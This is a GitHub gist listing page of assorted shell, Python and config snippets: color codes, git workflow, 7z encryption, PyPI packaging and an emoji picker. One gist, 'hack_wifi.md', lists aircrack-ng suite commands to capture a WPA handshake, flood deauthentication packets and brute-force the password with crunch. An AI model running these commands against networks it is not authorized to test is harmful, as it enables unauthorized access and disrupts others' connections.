Skip to content

Instantly share code, notes, and snippets.

View NearHuscarl's full-sized avatar
🏚️

Near Huscarl NearHuscarl

🏚️
View GitHub Profile
@NearHuscarl
NearHuscarl / bash-colors.md
Created September 4, 2017 17:10 — forked from iamnewton/bash-colors.md
The entire table of ANSI color codes.

Regular Colors

Value Color
\e[0;30m Black
\e[0;31m Red
\e[0;32m Green
\e[0;33m Yellow
\e[0;34m Blue
\e[0;35m Purple
@NearHuscarl
NearHuscarl / Color.py
Last active December 7, 2017 08:19
print string with color using escape code for bash
#!/bin/env python
def cprint(string, color):
""" print string with escape code for bash color """
color_code = {
'black': '\x1b[30m',
'red': '\x1b[31m',
'green': '\x1b[32m',
'yellow': '\x1b[33m',
@NearHuscarl
NearHuscarl / hack_wifi.md
Last active December 22, 2017 06:49
NMMMT TH6
iwconfig
ifconfig wlan0 up
airmon-ng start wlan0
airodump-ng wlan0mon
airodump-ng -c CHANNEL -w FILENAME --bssid BSSID wlan0mon
aireplay-ng -0 0 -a BSSID wlan0mon
crunch 9 9 0123456789 -t  1231%%%%% | aircrack-ng -w- FILENAME --bssid BSSID
airmon-ng stop wlan0mon
@NearHuscarl
NearHuscarl / fix_weak_wifi.md
Created February 2, 2018 05:17
Fix wifi signal very weak or not working on some wireless driver

Credit

Get network drive name

$ inxi -n

Unload the module and try the first parameter option

$ sudo modprobe -r rtl8723be
$ sudo modprobe rtl8723be ant_sel=1
@NearHuscarl
NearHuscarl / 7z_encryption.md
Last active February 2, 2018 06:16
7z option for highest encryption when use with password

Command:

7z a -t7z -m0=lzma2 -mx=9 -mfb=64 -md=32m -ms=on -mhe=on -p dir.7z dir

Explanation:

a                   Add (dir1 to archive.7z)
-t7z                Use a 7z archive
-m0=lzma2 Use lzma2 method
@NearHuscarl
NearHuscarl / _pypi_guide.md
Last active December 12, 2018 00:59
how to upload python package to pypi and host on github

Requirements

  • python
  • detox (pip)
  • pyenv (AUR)
  • virtualenvwrapper (pacman)
  • setuptools (optional)
  • pandoc (pacman)
  • twine (pacman)

Setup

black="$(tput setaf 0)"
red="$(tput setaf 1)"
green="$(tput setaf 2)"
yellow="$(tput setaf 3)"
blue="$(tput setaf 4)"
magenta="$(tput setaf 5)"
cyan="$(tput setaf 6)"
white="$(tput setaf 7)"
reset="$(tput sgr0)"
@NearHuscarl
NearHuscarl / git_workflow.md
Last active April 17, 2018 05:00
github development workflow

Clone repository:

$ cd /dirname/
$ git clone git@bitbucket.org:user_name/repository_name.git

Create a new branch

$ git branch new_branch

Change git branch to the new_branch

@NearHuscarl
NearHuscarl / rofi-emoji.sh
Last active June 14, 2024 16:40 — forked from tadly/rofi-emoji.sh
Rofi emoji picker
#!/usr/bin/env bash
# Source: https://gist.github.com/Tadly/0741821d3694deaec1ee454a95c591fa
#
# Use rofi to pick emoji because that's what this
# century is about apparently...
#
# Requirements:
# rofi, xsel, xdotool, curl, xmllint
#
# Usage:
@NearHuscarl
NearHuscarl / Japanese_emoij.ahk
Last active March 15, 2018 13:37
shortcuts to insert japanese emoijs...
; Japanese Emoijs
:::angry::(#`Д´)
:::awesome::°˖✧◝(⁰▿⁰)◜✧˖°
:::cry::(μ_μ)
:::fear::〣( ºΔº )〣
:::dcare::┐( ̄ヘ ̄)┌
:::confuse::( ̄ω ̄;)
:::surprise::Σ(O_O)
:::greet::(°▽°)/
:::hug::(づ ̄ ³ ̄)づ